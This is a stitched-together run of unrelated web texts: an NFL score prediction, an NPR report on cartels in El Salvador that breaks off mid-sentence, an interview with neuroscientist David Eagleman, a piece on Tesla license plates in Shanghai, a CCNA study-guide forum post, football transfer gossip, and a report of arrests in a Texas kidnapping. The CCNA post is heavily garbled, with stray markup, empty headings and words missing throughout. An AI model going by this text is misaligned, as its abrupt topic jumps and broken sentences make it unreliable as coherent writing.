This will be the most boring game of the Bears season. The Dolphins just seem to be that kind of team. They love to dink and dunk on offense and their pressure up front forces the opponent to do the same.
FINAL SCORE
Only way Bears lose Sunday is if they turn the ball over. They don’t. Tannehill does.
Chicago Bears 26, Miami Dolphins 16El Salvador Grapples With Upswing In Drug Traffic
toggle caption Jason Beaubien/NPR
Second in a three-part series. Read Part 1 and Part 3.
As Mexico's drug cartels come under sustained attack by President Felipe Calderon's forces at home, several of them have started outsourcing. Los Zetas and the powerful Sinaloan cartel have been expanding their operations in Central America, where security forces often lack the resources to confront them.
The World Bank warns that the Mexican cartels pose a huge threat to development in some of the poorest countries in the region, like El Salvador.
In a graffiti-marred section of the capital, San Salvador, a squad of national police called "The Hawks" is on patrol. The policemen ride in a battered pickup truck but carry high-powered assault rifles. They are rolling through an area controlled by the 18th Street gang.
When the police spot anyone they suspect of being a gang member, they jump out and frisk him — like one tattooed, emaciated young man officers have spread-eagle against a wall. They search his pockets and make him shake out his shoes. He's carrying a crack pipe, which the police confiscate before letting him go.
Juan Bautista Rodriguez, the head of the emergency response police in San Salvador, says these types of patrols are a crucial part of the fight against organized crime.
Enlarge this image toggle caption Jason Beaubien/NPR Jason Beaubien/NPR
"We are attacking the small, street-level drug dealers that have proliferated with the gangs," Bautista Rodriguez says. He says this keeps a constant pressure on the gangs and often provides leads for bigger busts.
'Using The Local Gangs'
Bautista Rodriguez says there has been an increase in crime and violence as the Mexican gangs move south, but he says the situation isn't as bad in El Salvador as it is in neighboring Guatemala or Honduras.
"Here in El Salvador, we still don't have well-armed groups that have the capacity to directly attack the police," he says. "In all the cases that we've had, we confront two or three gang members, and they are arrested or killed in the confrontation."
The police chief says the Mexican cartels appear to be expanding their operations in El Salvador by hiring members of the 18th Street or Mara Salvatrucha gangs to do work for them. Both of these gangs are known to be extremely violent, and Bautista Rodriguez says their links to the Mexicans have made them even more so.
"Drug bosses, cartels — they are using the local gangs, and this makes things more violent because the gangs are used more as hit men, used more to kill — used for revenge," he says. "If this continues as we've been seeing, it's going to cause a rise in insecurity for the ordinary Salvadoran citizen."
A 'Very Powerful Enemy'
Earlier this month, Salvadoran President Mauricio Funes, in a plea for regional unity against the Mexican cartels, said the nations of Central America face a "very powerful enemy." He said the profits garnered by the drug smugglers exceed the resources "available to the security forces of our countries."
This was an understatement. The billions of dollars in revenue generated each year by the cartels exceeds the annual gross domestic product of any country in the region.
The party line from Funes' administration is that, yes, drug trafficking is on the rise in El Salvador, but so far it hasn't gotten out of hand. The Salvadoran government, they argue, hasn't lost control of any of its territory to the smugglers, as has happened in Guatemala, Honduras and Mexico.
Outside of Funes' administration, however, not everyone shares this opinion.
"The presence of the drug cartels is increasing. Their power is increasing. The drug traffic is increasing," says Carlos Dada, the editorial director of the Salvadoran news website El Faro. Two weeks ago, El Faro published a 15,000-word, 33-page report on the workings of a Salvadoran drug syndicate called the Cartel de Texis. "Texis" is short for one of the towns they control, Texistepeque.
Dada says this cartel controls a swath of land along the north of the country.
"Because |
of the Brain," strips away the primacy of our conscious mind, exploring the underlying forces actually determining our choices.
Directing the Laboratory for Perception and Action at the Baylor College of Medicine in Houston, Eagleman studies time, synesthesia and neurolaw.
But he's no ordinary neuroscientist. "Sum," his book of short stories about various afterlives, is an international best-seller, translated into 23 languages. It led to a collaboration with Brian Eno; composer Max Richter will debut a full-length work based on "Sum" next year at London's Royal Opera House; and the screen rights have just been sold.
Eagleman spoke at Bloomberg world headquarters in Manhattan.
Q: How is consciousness like a "tiny stowaway on a transatlantic steamship?"
A: The conscious mind is the smallest bit of what's transpiring in the brain.
Even though we feel like we're the ones navigating our lives, there is quite a bit about our desires, our motivations, our attractions, our hopes and our beliefs that is generated by parts of our brain that we don't have access to and we're not even acquainted with.
The brain is essentially this massive computational device that runs all of its operations under the hood.
*
Q: So many implications -- for example, you say men find women with dilated eyes more attractive without knowing why.
A: Yes. When men were shown photographs of women's faces, the men uniformly found the women with dilated eyes more attractive.
None of the men were able to say "Oh, I noticed her pupils were a millimeter larger in this photo." And none of the men knew consciously that dilated eyes are a sign of sexual readiness in women.
Nonetheless, their brains knew that. They have all kinds of information that their brains are picking up at a deeper level, and it drives them toward that behavior.
*
Q: Men want full lips, full buttocks and a narrow waist, while women want a full jaw, stubble and a broad chest.
A: These are signs that broadcast one signal: "I am fertile." It's not that we're really making a choice about what we find beautiful; we have millions of years of evolution driving us towards having that conscious summary.
*
Q: What happens to romance?
A: We feel love, but it all has to do with securing a mate and reproduction and so on, which is not to say that we can't enjoy every bit of it. But it's not there without purpose.
*
Q: Do the "zombie systems" running things without any input from the conscious mind mean free will an illusion?
A: Some scientists think so, but what I conclude is that we might have free will but it's probably going to be a bit player in the operations of the brain.
Consciousness does seem to be useful for setting the long- term goals of the system exactly the same way that a CEO does.
*
Q: You say we're nearing a time when stock market data could be plugged directly into the brain. How would that work?
A: This is the subject of my next book on brain plasticity, called "Live Wired."
The brain is this alien kind of computational device that can wrap itself around whatever inputs it has. So there's nothing special about eyes and ears and nose. Those are just essentially peripheral plug and play devices that can send data fibers into the brain, and the brain figures out what to do with it.
You should be able to plug anything, any data cables, into the brain and it will learn how to interpret those and it will actually have perception.
Q: How exactly do we plug those in?
A: Electrodes directly into the cortex, but it's not safe yet.
Q: How can science address larger business issues?
A: Your brain operates as a team of rivals. You are made up of all these competing neural networks that we can image now, these networks that are all battling it out under the hood.
This gives us a new and nuanced way of understanding how people make decisions. When we look at things like financial markets, the future of economics is agent-based modeling, where people look at how individual humans make decisions and interact with one another, combined with the diversity of human beings.
The future of economics is going to be simulating giant populations of people interacting and trading with one another, and that's something I'm interested in doing in the future.
Q: What are you working on now in the lab?
A: Among other things, I'm studying time perception, and what's surprising is that it's so fluid and that we're not just passively tracking this river of time. It's that we're actively constructing it with our brains. In my lab, I can show that it's flexible.
Q: What are you writing?
A: My next four books are well under way and some of them are almost done now. The first is on how the brain rewires its circuits all the time. Then I'm finishing a cognitive neuroscience textbook for undergraduates.
There's "Brain Food," essentially "Freakonomics" for the brain. It's all this really cool stuff that you've never read anywhere else.
And then I'm working on "Eon," my book of fiction, which takes place over 200 billion years.Tesla Motorsys buyers of its high-end electric cars in the city of Shanghai now qualify for free license plates – a perk, it says, that makes its rides even more attractive.
What the Palo Alto, Calif., company doesn’t emphasize is that other importers of electric vehicles stand to benefit too.
Getting a license plate in Shanghai is no easy feat. In a bid to curb pollution and congestion, license plates in the city are auctioned to the public. Last month the average price was 74,113 yuan (around $12,000).
While license plate rules differ from city to city, in Shanghai about 10 Chinese models of electric vehicles qualify for free license plates.
Experts say foreign brands will likely be included too under new rules, though only for about 3,000 vehicles. The Shanghai government hasn’t made a formal announcement, and authorities couldn’t immediately be reached for comment.
According to Tesla, however, the word is go for its car. In a letter to shareholders posted to Tesla’s blog last week, the company said it “received further media attention thanks to the Shanghai government’s announcement that Model S drivers in the city will be entitled to free license plates, thereby avoiding the usual public auction price of $10,000 to $15,000 per plate. Since Model S pricing in China was already very competitive, this makes the car’s value proposition even more compelling.”
Two Model S owners in Shanghai received their plates last Friday, said Tesla spokeswoman Peggy Yang.In China, the Model S sells for around $121,000.
Tesla’s announcement got buzz and was widely picked up by auto-focused news outlets.
But it isn’t just Tesla that qualifies, it said. In an email, Ms. Yang said Thursday the the Shanghai government policy applied to all imported electric vehicles.
BMW AG’s first mass-production electric car, the i3, could also stand to benefit from the new rules. BMW declined to comment, citing the lack of an official announcement from the authorities on the matter.
Analysts say measures such as free license plates can help boost popularity of electric vehicles as they reduce the overall cost of purchase.
China has set itself the ambitious goal of putting 500,000 plug-in hybrid and electric vehicles on the road by next year and five million by 2020. Beijing is hoping so-called green cars will help battle pollution, boost Chinese auto makers’ technology levels and help reduce the country's dependency on imported oil.
But so far the uptake has been slow. In 2013, about 1,005 plug-in hybrids and 11,410 electric vehicles were sold in the country, according to data from consultancy Automotive Foresight -- a tiny drop compared with the 22 million vehicles sold in China last year.
--Colum Murphy with contributions from Rose Yu. Follow Colum on Twitter @Colum_M
_____________________________________
Also popular on China Real Time now:
Chinese Officials Head to Countryside to Try to Win Over Locals
Bank of America vs. Bank of America on China Property BubblePass
Tip: Scheduling the test before you study can help you focus to study.
To that end: If, at the date you schedule, you don't feel ready; You can reschedule and push the date back. Ask your certification center for the "rules". My testing certer is 1 day If, at the date you schedule, you don't feel ready; You can reschedule and push the date back. Ask your certification center for the "rules". My testing certer is 1 day i]24 Hours[/i before your test. You can reschedule as many times as you want.
Bottom Line:
X1 - Methods ) - How you can study for your CCNA:
X2 - Self-Study ) - How to self-study for your CCNA:
ICND1
ICND2
Notes:
CCNA Composite
Notes:
3)
ICND1
CCNA Composite
Notes:
[color=red][i][b][color=green]X1 - Methods[/color][/i] [u]X1.1 - Formal Methods[/u] x1.1.A - CCNA: Discovery X1.1.B - CCNA: Exploration X1.1.C - Boot Camps [u]X1.2 - Self-Study[/u] X1.2.A - Self-Studiers (No Experience) X1.2.B - Self-Studiers (Experienced)[/b][/color][b][color=blue] [i][color=green]X2 - Self-Study - How to Self-Study for the CCNA - No Experience[/color][/i] [u]X2.1 - You'll need to pickup a book! X2.2 - You'll need to enter commands![/u] [color=blue]X2.2.A -[/color][color=darkblue] Simulators[/color] [color=darkblue]X2.2.A.a -[/color][color=black] Free[/color] [color=darkblue]X2.2.A.b -[/color][color=black] Paid[/color] [color=blue]X2.2.B -[/color][color=darkblue] Emulators[/color] [color=blue]X2.2.C -[/color][color=darkblue] Hardware[/color] [color=darkblue]X2.2.C.a -[/color][color=black] Minimal[/color] [color=darkblue]X2.2.C.b -[/color][color=black] Multi-Lab[/color] [color=darkblue]X2.2.C.c -[/color][color=black] Overkill[/color] [color=darkblue]X2.2.C.d -[/color][color=black] Hardware (Models)[/color] [color=black]X2.2.C.d.1 - Switch Models[/color] [color=black]X2.2.C.d.2 - Router Models[/color] [color=black]X2.2.C.d.3 - Frame Relay Routers[/color] [color=black]X2.2.C.d.4 - Example Lab[/color] [color=darkblue]X2.2.C.e -[/color][color=black] Hardware (Kits)[/color] [color=blue]X2.2.D -[/color][color=darkblue] Rack Time[/color] [color=blue]X2.2.E -[/color][color=darkblue] Labs[/color] [u]X2.3 - Practice Exams X2.4 - Videos X2.5 - Motivation X2.6 - Additional Tips, Tricks, Wisdom[/u][/b][/color]
________________________________________________
X1 - Methods >> There are a few methods to acquire the CCNA:
X1.1 - Formal Methods:
X1.1.A - CCNA: Discovery
foundational
Example:
X1.1.B - CCNA: Exploration
advanced
Example:
Pros:
+
+
+
+
+
Cons:
-
-
-
-
X1.1.C - Boot Camps:
supplement
My thoughts: As a newcomer to Cisco, boot camps will not/can not give you the time to absorb the information. Oftentimes will offer test **** as "Practice Exams" to boost numbers. Afterall: What good is a certification if you don't remember anything?
Pros:
+
+
+
Cons:
-
-
-
X1.2. Self-Study:
X1.2.A - Self-Studiers - No Experience:
Pros:
+
+
+
+
Cons:
-
-
-
-
-
Note:
After you've become a CCNA, strive to retain the information. Do not forget it. However, this is beyond the scope of this thread.
X1.2.B - Self-Studiers - With Experience:
________________________________________________
X2 - SelfStudy >> How to Self-Study for the CCNA - No Experience
X2.1) You'll need to pickup a book!
Optional Readings:
1.
RFCs (Request for comments):
2.
Cisco Documentation:
X2.2) You'll need to enter commands!
X2.2.A)
Simulators
X2.2.A.a)
X2.2.A.b)
X2.2.B)
Emulators
X2.2.B.a)
X2.2.B.b)
Unknown
X2.2.C)
Hardware
X2.2.C.a)
Switch
Router
X2.2.C.b)
Switches
Routers
X2.2.C.c)
Switches
Routers
X2.2.C.d)
Hardware (Models)
investment
Note:
X2.2.C.d.1)
X2.2.C.d.2)
X2.2.C.d.3)
X2.2.C.d.4)
Note:
Pros:
+
+
+
+
Cons:
-
-
-
-
Warning:
Make sure the ports are " Green ". " Amber " is a bad color. This is a great indicator that the hardware is in great working order. Look for IOS 12.4 for Routers. If possible: ask for terminal outputs: show version, show post. Examples of both can be found at the end of this post: 6.C, 6.D.
X2.2.C.e) Hardware Kits
Pros:
+
+
+
+
+
Cons:
-
-
Warning:
Stay away from eBay kits. I've read some posts where eBay Kits were known to malfunction, older (Not useful) IOS versions.
Examples:
X2.2.D) Rack Time
Pros:
+
+
+
Cons:
-
-
-
Examples:
X2.2.E) Labs
Free Examples:
Paid Examples:
X2.3) Practice Exams
Wrong Way:
Right Way:
Free Examples:
Paid Examples:
X2.4) Videos
Warning:
Do not use videos as a subsitute for reading a book and/or labbing!
Free Videos:
Paid Videos:
X2.5) Motivation
YOU! STOP!
Before we move on, I have a few questions for you:
1)
know
know
2)
never
//
End Scene.
feel
[I hope I didn't scare anyone off?]
will
1)
The key here:
My Tip:
T
xxx xxxxxxxxx
2)
3)
Tip:
4)
never
See how that worked?
Above all, Do not forget...
X2.6) Additional Tips, Tricks, Wisdom
6.A:
6.B:
6.C:
Show Version
Yes, it's upto date!
[color=green][b]Neo>show version[/color][/b] Cisco IOS Software, C3550 Software (C3550-IPSERVICESK9-M), [color=red][b]Version 12.2(44)SE6[/b][/color], RELEASE SOFTWARE (fc1) Copyright (c) 1986-2009 by Cisco Systems, Inc. Compiled Mon 09-Mar-09 20:28 by gereddy Image text-base: 0x00003000, data-base: 0x012A99FC ROM: Bootstrap program is C3550 boot loader Neo uptime is 1 minute System returned to ROM by power-on System image file is "flash:/c3550-ipservicesk9-mz.122-44.SE6.bin" This product contains cryptographic features and is subject to United States and local country laws governing import, export, transfer and use. Delivery of Cisco cryptographic products does not imply third-party authority to import, export, distribute or use encryption. Importers, exporters, distributors and users are responsible for compliance with U.S. and local country laws. By using this product you agree to comply with applicable laws and regulations. If you are unable to comply with U.S. and local laws, return this product immediately. A summary of U.S. laws governing Cisco cryptographic products may be found at: http://www.cisco.com/wwl/export/crypto/tool/stqrg.html If you require further assistance please contact us by sending email to [email protected] Cisco WS-C3550-24-PWR (PowerPC) processor (revision G0) with [color=red][b]65526K/8192K[/b][/color] bytes of memory. Processor board ID CATxxxxxxxx Last reset from warm-reset Running Layer2/3 Switching Image Ethernet-controller 1 has 12 Fast Ethernet/IEEE 802.3 interfaces Ethernet-controller 2 has 12 Fast Ethernet/IEEE 802.3 interfaces Ethernet-controller 3 has 1 Gigabit Ethernet/IEEE 802.3 interface Ethernet-controller 4 has 1 Gigabit Ethernet/IEEE 802.3 interface 24 FastEthernet interfaces 2 Gigabit Ethernet interfaces The password-recovery mechanism is enabled. 384K bytes of flash-simulated NVRAM. Base ethernet MAC Address: xx[IMG]https://us.v-cdn.net/6030959/uploads/images/smilies/icon_mad.gif[/IMG]x[IMG]https://us.v-cdn.net/6030959/uploads/images/smilies/icon_mad.gif[/IMG]x[IMG]https://us.v-cdn.net/6030959/uploads/images/smilies/icon_mad.gif[/IMG]x[IMG]https://us.v-cdn.net/6030959/uploads/images/smilies/icon_mad.gif[/IMG]x[IMG]https://us.v-cdn.net/6030959/uploads/images/smilies/icon_mad.gif[/IMG]x Motherboard assembly number: xx-xxxx-xx Power supply part number: 341-xxxx-xx Motherboard serial number: CATxxxxxxxx Power supply serial number: LITxxxxxxxxx Model revision number: xx Motherboard revision number: xx Model number: WS-C3550-24PWR-SMI System serial number: CATxxxxxxxx Configuration register is 0x10F
6.D:
Show Post
[b][color=darkgreen]Neo>show post ^ [color=darkred]% Invalid input detected at '^' marker.[/color] Neo>enable[/color] [color=green]Neo#show post[/color][/b] Stored system POST messages: POST: CPU Buffer Tests : Begin POST: CPU Buffer Tests : End, Status [color=green]Passed[/color] POST: CPU Interface Tests : Begin POST: CPU Interface Tests : End, Status [color=green]Passed[/color] POST: Switch Core Tests : Begin POST: Switch Core Tests : End, Status [color=green]Passed[/color] POST: CPU Interface 2nd Stage Tests : Begin POST: CPU Interface 2nd Stage Tests : End, Status [color=green]Passed[/color] POST: CAM Subsystem Tests : Begin POST: CAM Subsystem Tests : End, Status [color=green]Passed[/color] POST: Ethernet Controller Tests : Begin POST: Ethernet Controller Tests : End, Status [color=green]Passed[/color] POST: ILP Controller Tests : Begin POST: ILP Controller Tests : End, Status [color=green]Passed[/color] POST: Loopback Tests : Begin POST: Loopback Tests : End, Status [color=green]Passed[/color]
Congratulations! You've decided to study for a Cisco certification!Schedule &the CCNA test with Pearson Vue!Welcome! This thread is laid out to. No, this thread will not help you study specifc topics - like EIRGP, RIP, Subnetting... That's the next step beyond this thread. This thread's sole purpose is to help answer the never-ending questions: "How do I study", "Strategies to study", "How do I get the CCNA quick?".I can not give you the answer forsituation. Everyone has their own goals, budget, work situation. However, I can you share the many methods successful people have used to gain their Certifications. I will also share my own experiences, as well as experiences of other forum members.Cisco has a lot of short i]Less than 15 minutes[/i webinars as "Studying for Results". As of this edit, they haven't posted all the videos. Note: You need to be logged into Cisco's Website to watch the short films.There's a lot of ways to get the piece of paper that says "CCNA", along with a small plastic card. I will highlight the ways you can get this knowledge!For those that want the flexibility, and have the drive - or are just want the cheap way (). This highlights the numerous questions, as well as explores the answers, giving examples, tips, tricks from people around the globe on Tech Exams. Yes.Yes, I know there's three listed here.Take the) Exam. Pass it. Take the) Exam. Pass that within 3 years.The two-test route is what I took. I recommend this over the single exam for self-studiers (More below). It's cheaper to pass and cheaper to fail. It covers less material.Take the) Exam. Pass it.The CCNA Composite exam needs to cover ICND1/ICND2, so the depth of questions may not be as deep. However, if you fail the exam - you're short 300 dollars and you have much more to study and retainTake the(640-822) Exam. Pass it. Take the(640-802) Exam. Pass it.Some people have taken the Composite afterwards, as this covers all the material and is not as indepth. It's the most expensive route, andrecommended.- CCNA Discovery- CCNA Exploration- Boot Camps- No Experience.- With ExperienceCisco hosts something called "" or Cisco "". You also may hear it called "" or "". Both are fundamentally the same: A teacher, physical lab, books. However, there are some differences between the two that you may not know:- Designed for students with basic PC skills andmath and problem solving skills. Gentle learning, more time may be spent on developing the theories.If you've taken the Cisco Networking Academy during High School - Like I did. This is an example of "Discovery". It's a two-year, half day, every day, vacation from High School.- Designed for students withproblem solving and analytical skills. More material. More Depth. Quicker speed.Colleges. Expect to cover what you need to know in a single semister.TeachersLab equipment suppliedOther students.You paid a lot of money.Packet Tracer (Time & DedicationCan be a lot more expensive.You paid a lot of money.May include cheating methods.Boot camps are designed as an intense, condensed introduction to the material. Usually, a boot camp will last for a week ().The most attractive thing about Boot Camps are they're short. The bad thing is that they are short. There isn't a lot of time to absorb or understand hard-topics. You get in. Do your thing. Get out.Some companies will provide boot camp training, as a time-efficient means to get employees up to speed. Boot camps can be done in person () or over the internet.The people that will gain the most benefit out of boot camps are persons that have a high-level understanding prior to the boot camp. In Otherwords, People that already know the major topics and theories and won't need to spend a lot of mental strength on these heavy topics. These people don't know the finer details and just looking for some formal instruction as a2K+ (TeachersOther students.A lot of money spent.Not a lot of time to absorbNot a lot of time to understandMay include cheating methods.Everyone learns at their own rate. If you push too much information into your head, you will not retain the information you learned. Motivation, Dedication, Time, and yes... Money. All these will play a part in your studies. Because when it boils down to it, you have the control of the throttle.2-6 Months. Zero to CCNAHaven't touched a switch or router in a couple years? Never even seen a switch or a router? You fall into this category. No biggie. Most of us do.Tech-exams is a perfect example of people that "Self-Study". There are a lot of ways to self-study. I will go deeper into "how" later in the thread. I place myself in this category, because I don't work in a field with cisco equipment. Cisco is out of the ordinary.ICND1, ICND2Self-PacedCheaper.Can still be expensiveWork may helpHard to stay motivatedEasy to stop studyingHard to know what do to, what to buy, where to start.You won't often see the benefits of a CCNA right awayWork may not helpYou work with Cisco Equipment day in, day out. You know the material, but you still want/need to get certified. It may be required for work. Either way, you've got your foot in the door.CCNA CompositeThe rest of the thread is dedicated to those that are intested in self-studying. I would hope you are. It's an exciting, vast world. One that I hope you can share my excitement someday! The networking world is much more involved than routers and switches. At the same time, most electronic information relies heavily on routers to route, and switches to switch. This is the door to all of it, and CCNA is a great start to look into the key-hole." It's easy to say those two things. (). At the same time your motivation can burn out trying. I'm not saying that it's going to be easy. Because it's still going to require dedication, time, practice. But this thread is to make it somewhat less foggy.Ultimately, the best way is get right in! Jump in and do it!Cisco gives you everything you need to know. Which is fantastic. How? Take a gander at their exam websites. They practically hand you the answers!1) Buy & Read a book.- This is a requirement. Yes, I know it's thick, it's heavy and boring with A lot of word-2) Enter commands.- Type in commands for the equipment. See the Output. Make it work!3) Practice Exams4) Videos5) Motivation6) Additional Tips, Tricks, Experience.Yes. I said it. Run for the hills, lock your windows, bar your doors. You heard me. You will need to read something. It's going to be dry. It's going to be boring.First the books: These are the most-often recommended books members at Tech-Exams gravitate towards:- Todd Lammle. CCBA Study Guide. 1 Book.- Wendell Odom. CCNA Offical Cert Library. 2 BooksI prefer the hardcover for a couple reasons: 1) Depth of material 2) Looks great on the shelf 3) Lasts longer 4) I can study for the CCENTGetting used to reading technical documents will sooner or later become a need. There's over 5 thousand RFCs (). Might as well start with a few entertaining ones: 1882 Advice from the horses mouth... so to speak. There's documentation, graphics, command syntaxes. It's free and there's a lot of information.Perfect practice makes perfect! Getting into the terminal, seeing the command-line (), and practicing commands is a must-do for CCNA candidates.- Simulators will give you feeling without the hassle. Some include labs with it. Convienent, Quick.).- Emulators will use the actual Cisco IOS. It acts like the real thing without the hardware! Great for saving some cash.- I recommand buying hardware for candidates. It's expensive, I know. But there's experience you can't get with the other options.How do you upgrade the IOS? How do you find out the DTE/DCE cabling are bad? That's just a taste of it., I just like to see the lights blinkIf you're going to have your own equiment, invest in a USB-to-Serial Converter. You'll going to need to console into the equipment, which, will usually be a Light-Blue Console cable, with a serial port at the end. The Serial end would go to the PC. Thankfully, we've phased the serial portion out! But it's still used for the cables, so far.Prolific Adapter url=http://www.amazon.com/Plugable-Adapter-Prolific-PL2303HX-Chipset/dp/B00425S1H8/ref=sr_1_3?ie=UTF8&qid=1348579456&sr=8-3&keywords=usb-to-serial]Amazon Link[/url is what was recommended to me because it worked without problems. I bought it, tried to use it without drivers, then installed the drviers. It still worked! Yes, you'll need to install the drivers () before plugging it in! My Ubunutu didn't need drivers, though. mintty, Hyper Terminal (Non-Vista or Newer)9600 bits per second, no parity, 8 data bits, 1 stop bit.- (1), (1)- (3), (3)- (3), (6+)Like I stated before, buying equipment is not cheap. It's also not easy. But dang, it's fun! It's the benefit of window shopping without the guilt. Better than Chocolate!! Before you go out and start looking at 10000-class routers, and switches that have blades in them... I'll just give you a list. It's a compliation offor most people. Some models will be cheaper than other, some may be old as dirt. For this list, I tried to keep the cost to- Less than 500 USD. Yes, Less than 500 USD is afor your own hardware.I talked you into buying some hardware.But... What do you look for in hardware? You'll be looking for the IOS version. It's the big one. Besides buying something that tests correctly! Routers with 12.4 is a must, as it's what's tested and what's current of this thread. Focus onand. Keep a few bucks in your pocket.Models inare recommended asandfor the CCNA-Level topics.- 2950 or, 2960, 3550, 3560., 1760, 1841,, 2610XM/2620XM, 2611, 2611XM/2621XM, 3640- 1721, 1841,, 2610XM w/ NM-4A/S ModuleThere's a lot of choices. So here's what you'll need to do everything. You'll need 3 routers, and 3 switches.that "Module" equipment will be more expensive - because it's flexible for labs. You'll pony up the cost for the Module and the Router/Switch separately. I'd say dedicated hardware is better, atleast it should be cheaper to replace. Knowing how to troubleshoot modules can also be a good thing, and can decrease the overall size of your lab!I won't be listing everything - like cables, or transcievers, if needed. I have tried to go through the list and find compatable items, but there's so many options out there, you'll need to do the rest of the legwork. I'd recommend looking at Kits, see what they include. Figure out the answer to this question:. Check Cisco's site. It's a lot of leg work, but this is something you might be doing. With that said: I can not guantee my example lab is correct. It may not meet your needs!3x 2950c (17-30$)1x 2520 (37-50$), 3x 1721 (~20$ ea)6x WIC-1T Modules [For 1721] (~14$ ea),Exciting! Window shopping for equipment to help you in the long run!It's yours. Forever.Interesting to see how other equipment may have been setup in the past.Can be a lot cheaper than Hardware KitsCan be expensive than Hardware Kits.Warranties aren't guanteed.Time will be invested. You'll need to look for a good, inexpensive buy.You don't know exactlyyou'll get until you get it in your hands. CraigsList, Many "Kit" websites ().- While it's a fun time to go hunt for hardware. You never know what you'll find... But sometimes, we just don't want to deal with all of that. I get it. Hardware Kits come in all ranges - Barebones to Extravagant. You'll need to weigh your options, and make sure the shipping doesn't kill that good looking cost.ConvienentWarrantiesTechnical Support for hardwareMay include labs, wiring and everything needed to start doing labs the first day.Upgraded to latest version, most of the timeExpensiveNot as much "Thrill" buying them all together.- Use the internet connection, connect to a rack, start labbing! It's a cost-effective method for people that want to use expensive setups but can't afford the cost, or maintence. Best of all. You don't need to worry about IOS software, and it's ultra-portable!Convient. Access your lab from around the world.It's not yours.CheapYou're scheduling time. First come, first served.It's not yours.Service may not be available- You need material to work with!Practice exams are great to knock cobwebs loose. It also allows you to get into the testing mind-set. There is a right way and a wrong way to take these exams.Go through each question, seeing the right answer, and immediately selecting thatanswer.- Did you give a thought to any reason why? What about the other answers?Go through each question, seeing the right answer. Then you ask yourself: Why are the others wrong? You can get 4x the benefit out of a single question by asking that one question, and working through it.Examining the answers will help you dig up and strengthen the material. You may discover that you may not knowacronym like you thought you did.This is a procedure that works to help avoid memorizing test answers. Memorizing a practice test and its answers won't help you. If you happen to pass the real test, you'll find out that you'll be missingsomething works like it does is the most important question to ask while you test and when you get on the job.So what's the next-best thing to a real teacher in class? A video lesson. While not interactive, it can be used to help understand the fundamentals and can also add other bits of information that you would otherwise not have known about.Yes. Iyou are. Youyou are.Are you sure you are? To be quite honest, I'm not sure you have it in you.Those are some long months ahead.It's going to be harder once you realize that this stuff is pretty scary. It's new. They're topics you'veseen before. A lot of stuff will be thrown at you: EIGRP, VTP, Router and Switch commands, Subnetting -just to name a! You'll be reading books that look like they came from Harvard! Then you'll need to work through lab problems, solving them yourself. You'll need an advil to get rid of the headache!".Your motivation is already going down. I canit () It's that nagging itch at the back of your mind. You don't want to acknowledge it- but it's there. It waits in the depths for a weak moment. Then out of the blue - It'll hit.. It'll hit so hard that you won't want to do anything at all.This is the feeling everyone that has studied for a certification, or any test can atest to. For some people, this feeling is more prominent than others. But it's still there in one degree or another.I'm a betting man. I'd be willing to bet on that sometime during everyone's life - they sensed it too. So you're in good company.If you're still with me......I wanted to try to introduce you to the enemy. I'm going to help you. You can't fight what you pretend doesn't exist. Ignorance does not help you. It's there, even if I couldn't shine a light on the blob. I can guantee it sometime down the road: Yousecond guess the pace you're studying.It happens to everyone - admit it or not.So how can you fight it? How can you protect yourself against this motivational pirate?Are you thinking about going head-first and quitting everything to get it done? Don't. Go to the gym. Play video games. Go out with family. See your friends. Humans by nature are social creatures. Don't punish yourself for something that's good.. It sounds like a "", right? You could boil it down to dieting. But saying "" is like saying "". You just don't want it () around.Don't use the word "". Forget "". They were dropped from Wikipedia, Webster's Dictionary long ago.What you want to do is to make room to study. It may not be hours, or half a day. It may be just 10, 20, 40 minutes. Just do something, for what you can, everyday. No stress. When you're in the bathroom, prop up a book. That's the wayshould be!We are all your peers. We may not know, or like you. Yet, We are what we are. Some are more knowledgable than others. We work in your field, or want to be. Reach out to us. The good thing about the internet, and these forums: You can talk to anyone around the globe. Use it.You know what Lennon said: "Complete them. Reward yourself for doing every one.Read Chapter 2 tomorrow.Bottle of BAWLS. Personally: My reward for finishing this post is to order a case of BAWLS. Yeah, It works. Bribe yourself with a carrot. That said...Do not punish or take away something if you don't complete it.You'll learn to like it through doing it. You may hate it at first. I hated reading. I've learned to tolerate it. I'm starting toit. I (owned anything that didn't include the words "Strategy Guide" in them before last year. If you read this entire post so far, you can definitely make it through the Cisco Books.No matter what |
, Joachim Löw, Cesare Prandelli, Fabio Capello and Roberto Mancini. In case the prospect of trying to coax consistency from Andrey Arshavin is not appealing enough, the Russians are willing to make the new man the highest paid manager in the world, which is good news for the new man. Or the man currently finalising a new contract with Man City.
The Daniel Sturridge to Tottenham rumour is back again. Swansea's new manager Michael Laudrup has not only heard of Bristol City but wants to buy one of their players, 24-year-old winger Albert Adomah. West Bromwich Albion's new manager Steve Clarke, meanwhile, is more of a Yassine El Ghanassy man. The 21-year-old Ghent playmaker has been described as "an extraordinary talent, a real magician" by … his agent.12News has learned that Orange County Sheriff’s Deputies have made arrests in the kidnapping of an attorney from Orange County.
A spokesperson for the Orange County Sheriff’s Office told 12News three men were arrested in connection with the kidnapping of attorney Jim Sharon Bearden Jr,
READ | Scroll down to read the probable cause affidavits
Bearden, Jr. was abducted May 8 from his home off of 1442 in Orange County. He was awakened by two masked intruders. The men tied him up and took several items from his home including guns and electronics. The men then forced Bearded into his own car and drove him to Port Arthur. Bearden was then forced to withdraw cash from a bank. Afterwards he was released with his vehicle.
Three arrested in kidnapping of Orange County attorney Henrry Eduar Rivera-Antunez, L to R, Erik Pagoada-Bustillo, German Adalid Borjas-Benitez Photo/Orange County Sheriff's Office Henrry Eduar Rivera-Antunez Photo/Orange County Sheriff's Office German Adalid Borjas-Benitez Photo/Orange County Sheriff's Office Erik Pagoada-Bustillo Photo/Orange County Sheriff's Office
Detectives from the Orange County Sheriff’s Office Criminal Investigation Division were able to identify the two suspects that entered the house, and a third suspect who was driving a vehicle and acted as a lookout.
On Friday, detectives found all three suspects in Port Arthur. Captain Cliff Hargrave said all three subjects confessed.
The three were arrested for burglary of a habitation, a 1st degree felony and taken to the Jefferson County jail. They are expected to be transferred to the Orange County Jail today.
All three suspects are from Honduras. Investigators determined that all three are undocumented immigrants. Immigration and Customs Enforcement (ICE) has placed immigration detainers on them.
The suspects are identified as German Adalid Borjas-Benitez, 19; Henrry Eduar Rivera-Antunez, 17, and Erik Pagoada-Bustillo, 17.
The Orange County Sheriff’s Office CID was assisted in this investigation by the Port Arthur Police Department; the Jefferson County Sheriff’s Office; the Jefferson County District Attorney’s Office; the Orange County District Attorney’s Office; the U.S. Department of Homeland Security; U. S. Bureau of Alcohol, Tobacco, Firearms and Explosives; and the U.S. Immigration and Customs Enforcement.
